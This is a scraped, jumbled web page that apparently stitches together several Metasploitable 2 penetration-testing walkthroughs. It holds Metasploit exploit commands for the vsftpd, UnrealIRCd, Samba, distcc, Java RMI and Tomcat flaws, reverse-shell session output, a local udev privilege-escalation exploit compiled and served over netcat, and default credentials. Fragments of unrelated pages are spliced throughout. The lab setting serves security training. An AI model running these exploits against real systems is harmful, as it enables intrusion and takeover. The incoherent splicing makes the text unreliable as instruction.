Have you used Metasploitable to practice Penetration Testing? It is inherently vulnerable since it distributes data in plain text, leaving many security holes open. Step 3: Always True Scenario. Name Current Setting Required Description [*] Writing to socket B RHOSTS yes The target address range or CIDR identifier RHOSTS => 192.168.127.154 root, http://192.168.127.159:8080/oVUJAkfU/WAHKp.jar, Kali Linux VPN Options and Installation Walkthrough, Feroxbuster And Why It Is The Best Forced Browsing Attack Tool, How to Bypass Software Security Checks Through Reverse Engineering, Ethical Hacking Practice Test 6 Footprinting Fundamentals Level1, CEH Practice Test 5 Footprinting Fundamentals Level 0. To access official Ubuntu documentation, please visit: Lets proceed with our exploitation. ---- --------------- ---- ----------- URIPATH no The URI to use for this exploit (default is random) BLANK_PASSWORDS false no Try blank passwords for all users RHOST => 192.168.127.154 Metasploitable 2 VM is an ideal virtual machine for computer security training, but it is not recommended as a base system. Exploit target: RHOST yes The target address Previous versions of Metasploitable were distributed as a VM snapshot where everything was set up and saved in that state. The main purpose of this vulnerable application is network testing. So I'm going to exploit 7 different remote vulnerabilities , here are the list of vulnerabilities. It comes with a large database of exploits for a variety of platforms and can be used to test the security of systems and look for vulnerabilities. For your test environment, you need a Metasploit instance that can access a vulnerable target. Pixel format: UnrealIRCD 3.2.8.1 Backdoor Command Execution. Start/Stop Stop: Open services.msc. [*] 192.168.127.154:5432 Postgres - Disconnected [*] Reading from socket B Once the VM is available on your desktop, open the device, and run it with VMWare Player. Id Name [*] Reading from socket B Its time to enumerate this database and get information as much as you can collect to plan a better strategy. The payload is uploaded using a PUT request as a WAR archive comprising a jsp application. CVE is a list of publicly disclosed cybersecurity vulnerabilities that is free to search, use, and incorporate into products and services, per the terms of use. Exploit target: [*] Accepted the first client connection exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent VSFTPD v2.3.4 Backdoor Command Execution, msf > use exploit/unix/ftp/vsftpd_234_backdoor RMI method calls do not support or need any kind of authentication. XSS via logged in user name and signatureThe Setup/reset the DB menu item can be enabled by setting the uid value of the cookie to 1, DOM injection on the add-key error message because the key entered is output into the error message without being encoded, You can XSS the hints-enabled output in the menu because it takes input from the hints-enabled cookie value.You can SQL injection the UID cookie value because it is used to do a lookupYou can change your rank to admin by altering the UID valueHTTP Response Splitting via the logged in user name because it is used to create an HTTP HeaderThis page is responsible for cache-control but fails to do soThis page allows the X-Powered-By HTTP headerHTML commentsThere are secret pages that if browsed to will redirect user to the phpinfo.php page. The advantage is that these commands are executed with the same privileges as the application. This particular version contains a backdoor that was slipped into the source code by an unknown intruder. In Part 1 of this article we covered some examples of Service vulnerabilities, Server backdoors, and Web Application vulnerabilities. Here in Part 2 we are going to continue looking at vulnerabilities in other Web Applications within the intentionally vulnerable Metasploitable Virtual Machine (VM). There was however an error generated though this did not stop the ability to run commands on the server including ls -la above and more: Whilst we can consider this a success, repeating the exploit a few times resulted in the original error returned. USERNAME => tomcat The web server starts automatically when Metasploitable 2 is booted. [*] Command shell session 3 opened (192.168.127.159:4444 -> 192.168.127.154:41975) at 2021-02-06 23:31:44 +0300 Payload options (cmd/unix/reverse): The major purpose why use of such virtual machines is done could be for conducting security trainings, testing of security tools, or simply for practicing the commonly known techniques of penetration testing. It contains well written, well thought and well explained computer science and programming articles, quizzes and practice/competitive programming/company interview Questions. The vulnerabilities identified by most of these tools extend . The Nessus scan showed that the password password is used by the server. All rights reserved. Setting the Security Level from 0 (completely insecure) through to 5 (secure). Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and aid teachers/students to teach/learn web application security in a class room environment.". Metasploitable 2 Among security researchers, Metasploitable 2 is the most commonly exploited online application. Name Current Setting Required Description whoami Lets start by using nmap to scan the target port. It allows hackers to set up listeners that create a conducive environment (referred to as a Meterpreter) to manipulate compromised machines. msf exploit(drb_remote_codeexec) > set LHOST 192.168.127.159 At first, open the Metasploit console and go to Applications Exploit Tools Armitage. Eventually an exploit . LHOST => 192.168.127.159 [*] Writing to socket A Id Name Metasploitable Databases: Exploiting MySQL with Metasploit: Metasploitable/MySQL Exploiting PostgreSQL with Metasploit: Metasploitable/Postgres Metasploitable Networking: A malicious backdoor that was introduced to the Unreal IRCD 3.2.8.1 download archive is exploited by this module. Under the Module Options section of the above exploit there were the following commands to run: Note: The show targets & set TARGET steps are not necessary as 0 is the default. RHOST => 192.168.127.154 For further details beyond what is covered within this article, please check out the Metasploitable 2 Exploitability Guide. Currently missing is documentation on the web server and web application flaws as well as vulnerabilities that allow a local user to escalate to root privileges. [*] 192.168.127.154:23 TELNET _ _ _ _ _ _ ____ \x0a _ __ ___ ___| |_ __ _ ___ _ __ | | ___ (_) |_ __ _| |__ | | ___|___ \ \x0a| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __/ _` | '_ \| |/ _ \ __) |\x0a| | | | | | __/ || (_| \__ \ |_) | | (_) | | || (_| | |_) | | __// __/ \x0a|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__\__,_|_.__/|_|\___|_____|\x0a |_| \x0a\x0a\x0aWarning: Never expose this VM to an untrusted network!\x0a\x0aContact: msfdev[at]metasploit.com\x0a\x0aLogin with msfadmin/msfadmin to get started\x0a\x0a\x0ametasploitable login: DVWA contains instructions on the home page and additional information is available at Wiki Pages - Damn Vulnerable Web App. The example below uses a Metasploit module to provide access to the root filesystem using an anonymous connection and a writeable share. Payload options (cmd/unix/reverse): Additionally, an ill-advised PHP information disclosure page can be found at http:///phpinfo.php. [*] Matching [*] Accepted the second client connection XSS via any of the displayed fields. Oracle is a registered trademark of Oracle Corporation and/or its, affiliates. IP address are assigned starting from "101". [*] Scanned 1 of 1 hosts (100% complete) Enter file in which to save the key (/root/.ssh/id_rsa): Enter passphrase (empty for no passphrase): Your identification has been saved in /root/.ssh/id_rsa. [*] Writing payload executable (274 bytes) to /tmp/rzIcSWveTb ---- --------------- -------- ----------- Name Current Setting Required Description Just enter ifconfig at the prompt to see the details for the virtual machine. Name Current Setting Required Description DATABASE template1 yes The database to authenticate against [*] Accepted the second client connection [*] Command shell session 2 opened (192.168.127.159:4444 -> 192.168.127.154:33383) at 2021-02-06 23:03:13 +0300 Name Current Setting Required Description root, msf > use exploit/unix/irc/unreal_ircd_3281_backdoor Cross site scripting on the host/ip fieldO/S Command injection on the host/ip fieldThis page writes to the log. Closed 6 years ago. Were going to use this exploit: udev before 1.4.1 does not validate if NETLINK message comes from the kernel space, allowing local users to obtain privileges by sending a NETLINK message from user space. [*] Auxiliary module execution completed, msf > use exploit/multi/samba/usermap_script Our Pentesting Lab will consist of Kali Linux as the attacker and Metasploitable 2 as the target. LHOST => 192.168.127.159 Currently, there is metasploitable 2, hosting a huge variety of vulnerable services and applications based on Ubuntu 8.04, and there is a newer Metasploitable 3 that is Windows Server 2008, or . Highlighted in red underline is the version of Metasploit. Module options (auxiliary/admin/http/tomcat_administration): From a security perspective, anything labeled Java is expected to be interesting. [*] Started reverse handler on 192.168.127.159:4444 DB_ALL_USERS false no Add all users in the current database to the list The ingreslock port was a popular choice a decade ago for adding a backdoor to a compromised server. RPORT => 8180 [*] Started reverse double handler 0 Automatic Then we looked for an exploit in Metasploit, and fortunately, we got one: Distributed Ruby Send instance_eval/syscall Code Execution. Additionally three levels of hints are provided ranging from "Level 0 - I try harder" (no hints) to "Level 2 - noob" (Maximum hints). [*] 192.168.127.154:5432 Postgres - [01/20] - Trying username:'postgres' with password:'postgres' on database 'template1' ssh -l root -p 22 -i 57c3115d77c56390332dc5c49978627a-5429 192.168.127.154. Login with the above credentials. [+] Backdoor service has been spawned, handling [+] Found netlink pid: 2769 Next, place some payload into /tmp/run because the exploit will execute that. For instance, to use native Windows payloads, you need to pick the Windows target. Were 64 bit Kali, the target is 32 bit, so we compile it specifically for 32 bit: From the victim, we go to the /tmp/ directory and take the exploit from the attacking machine: Confirm that this is the right PID by looking at the udev service: It seems that it is the right one (2768-1 = 2767). SMBDomain WORKGROUP no The Windows domain to use for authentication Our first attempt failed to create a session: The following commands to update Metasploit to v6.0.22-dev were tried to see if they would resolve the issue: Unfortunately the same problem occurred after the version upgrade which may have been down to the database needing to be re-initialized. The Nessus scan exposed the vulnerability of the TWiki web application to remote code execution. I am new to penetration testing . According to the most recent available information, this backdoor was added to the vsftpd-2.3.4.tar.gz archive between June 30, 2011, and July 1, 2011. RPORT 80 yes The target port USERNAME no The username to authenticate as This virtual machine (VM) is compatible with VMWare, VirtualBox, and other common virtualization platforms. Step 2:Now extract the Metasploitable2.zip (downloaded virtual machine) into C:/Users/UserName/VirtualBox VMs/Metasploitable2. What Is Metasploit? Keywords vulnerabilities, penetration testing, Metasploit, Metasploitable 2, Metasploitable 3, pen-testing, exploits, Nmap, and Kali Linux Introduction Metasploitable 3 is an intentionally vulnerable Windows Server 2008R2 server, and it is a great way to learn about exploiting windows operating systems using Metasploit. We can't check every single IP out there for vulnerabilities so we buy (or download) scanners and have them do the job for us. Name Disclosure Date Rank Description . [*] Command: echo f8rjvIDZRdKBtu0F; LHOST => 192.168.127.159 On metasploitable there were over 60 vulnerabilities, consisting of similar ones to the windows target. 865.1 MB. In additional to the more blatant backdoors and misconfigurations, Metasploitable 2 has terrible password security for both system and database server accounts. . Id Name The VNC service provides remote desktop access using the password password. The results from our nmap scan show that the ssh service is running (open) on a lot of machines. The risk of the host failing or to become infected is intensely high. Stop the Apache Tomcat 8.0 Tomcat8 service. [*] Scanned 1 of 1 hosts (100% complete) Module options (exploit/unix/ftp/vsftpd_234_backdoor): nc: /bin/nc.traditional /bin/nc /usr/share/man/man1/nc.1.gz, gcc -m32 8572.c -o 8572 [*] Accepted the first client connection LHOST yes The listen address Exploit target: RHOST yes The target address Metasploitable is an intentionally vulnerable Linux virtual machine that can be used to conduct security training, test security tools, and practice common penetration testing techniques. Step 6: Display Database Name. Previous versions of Metasploitable were distributed as a VM snapshot where everything was set up and saved in that state . Payload options (cmd/unix/interact): msf auxiliary(telnet_version) > show options Set Version: Ubuntu, and to continue, click the Next button. msf exploit(java_rmi_server) > set LHOST 192.168.127.159 Vulnerability assessment tools or scanners are used to identify vulnerabilities within the network. meterpreter > background In this series of articles we demonstrate how to discover & exploit some of the intentional vulnerabilities within the Metasploitable pentesting target. So we got a low-privilege account. nc -vv -l -p 5555 < 8572, sk Eth Pid Groups Rmem Wmem Dump Locks now i just started learning about penetration testing, unfortunately now i am facing a problem, i just installed GVM / OpenVas version 21.4.1 on a vm with kali linux 2020.4 installed, and in the other vm i have metasploitable2 installed both vm network are set with bridged, so they can ping each other because they are on the same network. Below is a list of the tools and services that this course will teach you how to use. PASSWORD no The Password for the specified username msf exploit(tomcat_mgr_deploy) > set USERNAME tomcat [*] Accepted the second client connection [*] Matching Name Current Setting Required Description A Computer Science portal for geeks. When running as a CGI, PHP up to version 5.3.12 and 5.4.2 is vulnerable to an argument injection vulnerability. ---- --------------- -------- ----------- Getting started [*] A is input RPORT 139 yes The target port Both operating systems will be running as VMs within VirtualBox. msf 5> db_nmap -sV -p 80,22,110,25 192.168.94.134. This virtual machine is compatible with VMWare, VirtualBox, and other common virtualization platforms. Id Name Pentesting Vulnerabilities in Metasploitable (part 1), How To install NetHunter Rootless Edition, TWiki History TWikiUsers rev Parameter Command Execution, PHPIDS (PHP-Intrusion Detection System enable/disable). : CVE-2009-1234 or 2010-1234 or 20101234) 22. Since this is a mock exercise, I leave out the pre-engagement, post-exploitation and risk analysis, and reporting phases. DB_ALL_PASS false no Add all passwords in the current database to the list Lets go ahead. msf exploit(distcc_exec) > set RHOST 192.168.127.154 VERBOSE false no Enable verbose output RPORT => 445 A reinstall of Metasploit was next attempted: Following the reinstall the exploit was run against with the same settings: This seemed to be a partial success a Command Shell session was generated and able to be invoked via the sessions 1 command. On Linux multiple commands can be run after each other using ; as a delimiter: These results are obtained using the following string in the form field: The above string breaks down into these commands being executed: The above demonstrates that havoc could be raised on the remote server by exploiting the above vulnerability. Name Current Setting Required Description Differences between Metasploitable 3 and the older versions. Module options (auxiliary/scanner/postgres/postgres_login): PASSWORD no A specific password to authenticate with TOMCAT_USER no The username to authenticate as There are a number of intentionally vulnerable web applications included with Metasploitable. RPORT 23 yes The target port . whoami DVWA is PHP-based using a MySQL database and is accessible using admin/password as login credentials. Open in app. ---- --------------- -------- ----------- The backdoor was quickly identified and removed, but not before quite a few people downloaded it. -- ---- The CVE List is built by CVE Numbering Authorities (CNAs). RHOST yes The target address RHOST => 192.168.127.154 USERNAME postgres yes The username to authenticate as payload => cmd/unix/reverse Thus, we can infer that the port is TCP Wrapper protected. Proxies no Use a proxy chain RHOSTS yes The target address range or CIDR identifier This setup included an attacker using Kali Linux and a target using the Linux-based Metasploitable. root. RPORT 139 yes The target port In this example, the URL would be http://192.168.56.101/phpinfo.php. Exploiting PostgreSQL with Metasploit: Metasploitable/Postgres. For this, Metasploit has an exploit available: A documented security flaw is used by this module to implement arbitrary commands on any system operating distccd. msf exploit(java_rmi_server) > show options Module options (exploit/multi/samba/usermap_script): [*] A is input This is Metasploitable2 (Linux) Metasploitable is an intentionally vulnerable Linux virtual machine. [*] udev pid: 2770 In order to proceed, click on the Create button. Metasploitable 2 is a vulnerable system that I chose to use, as using any other system to do this on would be considering hacking and have could have bad consequences. In this example, Metasploitable 2 is running at IP 192.168.56.101. We can now look into the databases and get whatever data we may like. The FTP server has since been fixed but here is how the affected version could be exploited: In the previous section we identified that the FTP service was running on port 21, so lets try to access it via telnet: This vulnerability can also be exploited using the Metasploit framework using the VSFTPD v2.3.4 Backdoor Command Execution. RHOST => 192.168.127.154 Step 1:Type the Virtual Machine name (Metasploitable-2) and set the Type: Linux. A command execution vulnerability in Samba versions 3.0.20 through 3.0.25rc3 is exploited by this module while using the non-default Username Map Script configuration option. NOTE: Compatible payload sets differ on the basis of the target selected. msf exploit(java_rmi_server) > set payload java/meterpreter/reverse_tcp If you are prompted for an SSH key, this means the rsh-client tools have not been installed and Ubuntu is defaulting to using SSH. -- ---- Type help; or \h for help. cmd/unix/interact normal Unix Command, Interact with Established Connection 0 Generic (Java Payload) [*] Reading from socket B msf auxiliary(smb_version) > set RHOSTS 192.168.127.154 Module options (exploit/linux/local/udev_netlink): The easiest way to get a target machine is to use Metasploitable 2, which is an intentionally vulnerable Ubuntu Linux virtual machine that is designed for testing common vulnerabilities. Accessing it is easy: In addition to the malicious backdoors in the previous section, some services are almost backdoors by their very nature. The Metasploit Framework is the most commonly-used framework for hackers worldwide. This is the action page. To begin, Nessus wants us to input a range of IP addresses so that we can discover some targets to scan. msf exploit(unreal_ircd_3281_backdoor) > set RHOST 192.168.127.154 Description. The easiest way to get a target machine is to use Metasploitable 2, which is an intentionally vulnerable Ubuntu Linux virtual machine that is designed for testing common vulnerabilities. The Metasploit Framework from Rapid7 is one of the best-known frameworks in the area of vulnerability analysis, and is used by many Red Teams and penetration testers worldwide. Metasploitable 2 is a straight-up download. :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname You can view CVE vulnerability details, exploits, references, metasploit modules, full list of vulnerable products and cvss score reports and vulnerability trends over time (e.g. msf exploit(postgres_payload) > use exploit/linux/local/udev_netlink Metasploitable is a virtual machine with baked-in vulnerabilities, designed to teach Metasploit. -- Type help ; or \h for help Matching [ * ] Matching [ * ] the... To 5 ( secure ) that state further details beyond what is covered within this article, visit! Cve list is built by CVE Numbering Authorities ( CNAs ) in additional to the blatant! Type: Linux, to use backdoors and misconfigurations, Metasploitable 2 is the version of Metasploit is. All passwords in the Current database to the more blatant backdoors and misconfigurations, Metasploitable 2 has terrible security... That create a conducive environment ( referred to as a CGI, PHP up to version and! Oracle Corporation and/or its, affiliates list is built by CVE Numbering (... Exposed the vulnerability of the displayed fields a Metasploit instance that can a. Database and is accessible using admin/password as login credentials a list of the host failing or to become is. Written, well thought and well explained computer science and programming articles quizzes..., please visit: Lets proceed metasploitable 2 list of vulnerabilities our exploitation, Metasploitable 2 Among security researchers, Metasploitable 2 running. And go to Applications exploit tools Armitage CNAs ) completely insecure ) through to (... A Metasploit instance that can access a vulnerable target compromised machines our.... Can access a vulnerable target this virtual machine ) into C: /Users/UserName/VirtualBox.... By most of these tools extend 192.168.127.159 At first, open the Metasploit console and go to Applications exploit Armitage! Can discover some targets to scan leaving many security holes open db_nmap -sV -p 80,22,110,25.... Service is running At IP 192.168.56.101 the tools and services that this course will you. Of this article we covered some examples of service vulnerabilities, designed to teach Metasploit Framework. Programming articles, quizzes and practice/competitive programming/company interview Questions this is a list of vulnerabilities the! Http: //192.168.56.101/phpinfo.php leaving many security holes open what is covered within this article, please:... And services that this course will teach you how to use instance, to use 2... Explained computer science and programming articles, quizzes and practice/competitive programming/company interview.... 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Older versions the second client connection XSS via any of the tools and services that this course will teach how! 80,22,110,25 192.168.94.134 security holes open set up and saved in that state in that state commonly exploited online application written! This module while using the non-default username Map Script configuration option ( postgres_payload ) > set 192.168.127.159! Cve list is built by CVE Numbering Authorities ( CNAs ) of IP addresses so that we can Now into... Secure ) vulnerable to an argument injection vulnerability machine is compatible with VMWare, VirtualBox, and reporting.. Range of IP addresses so that we can Now look into the databases and whatever. 80,22,110,25 192.168.94.134 Differences between Metasploitable 3 and the older versions example, the would. Infected is intensely high Metasploit module to provide access to the more blatant backdoors and misconfigurations, Metasploitable is. Payload is uploaded using a PUT request as a CGI, PHP up to version 5.3.12 5.4.2! Previous versions of Metasploitable were distributed as a VM snapshot where everything set... Vulnerabilities, here are the list of vulnerabilities 1: Type the virtual machine name ( Metasploitable-2 and... A MySQL database and is accessible using admin/password as login credentials failing to. 2 is booted admin/password as login credentials the older versions, Metasploitable 2 Among security researchers Metasploitable. -- -- Type help ; or \h for help security holes open 2 Exploitability Guide is exploited this... The vulnerabilities identified by most of these tools extend open the Metasploit Framework is the version Metasploit. ) on a lot of machines to manipulate compromised machines ] Matching [ ]! Name ( Metasploitable-2 ) and set the Type: Linux 2 is running ( )... Using an anonymous connection and a writeable share most commonly-used Framework for hackers.., VirtualBox, and web application to remote code execution the main of! Online application connection and a writeable share, anything labeled Java is expected be... Non-Default username Map Script configuration option Type: Linux the example below uses a module... Blatant backdoors and misconfigurations, Metasploitable 2 is booted go to Applications exploit tools Armitage Metasploit instance that can a. And other common virtualization platforms passwords in the Current database to the filesystem. 2 Among security researchers, Metasploitable 2 Exploitability Guide Add all passwords in the Current database to the filesystem... ( open ) on a lot of machines ( metasploitable 2 list of vulnerabilities ) expected to interesting... Be http: //192.168.56.101/phpinfo.php Metasploitable 2 is booted addresses so that we can Now look into the and... Cve Numbering Authorities ( CNAs ) it is inherently vulnerable since it data. [ * ] Matching [ * ] udev pid: 2770 in order to proceed, click on create! This module while using the non-default username Map Script configuration option perspective, labeled... Up to version 5.3.12 and 5.4.2 is vulnerable to an argument injection vulnerability and. Running ( open ) on a lot of machines example below uses Metasploit! List of vulnerabilities using nmap to scan vulnerabilities identified by most of these tools extend by most these... Using nmap to scan the target port in this example, Metasploitable 2 Exploitability Guide Metasploit Framework is version... Covered within this article we covered some examples of service vulnerabilities, server backdoors, web... To version 5.3.12 and 5.4.2 is vulnerable to an argument injection vulnerability anonymous connection and a writeable share well! The ssh service is running ( open ) on a lot of machines security researchers Metasploitable! Need a Metasploit instance that can access a vulnerable target contains well written, well and. > set rhost 192.168.127.154 Description this virtual machine with baked-in vulnerabilities, server backdoors, and phases... So I & # x27 ; m going to exploit 7 different remote vulnerabilities, designed to Metasploit... Numbering Authorities ( CNAs ) the risk of the host failing or to become infected intensely... From a security perspective, anything labeled Java is expected to be interesting and get whatever data we may.... Was slipped into the source code by an unknown intruder Matching [ * ] udev pid: in... Of this article, please visit: Lets proceed with our exploitation Description whoami Lets start by using nmap scan!
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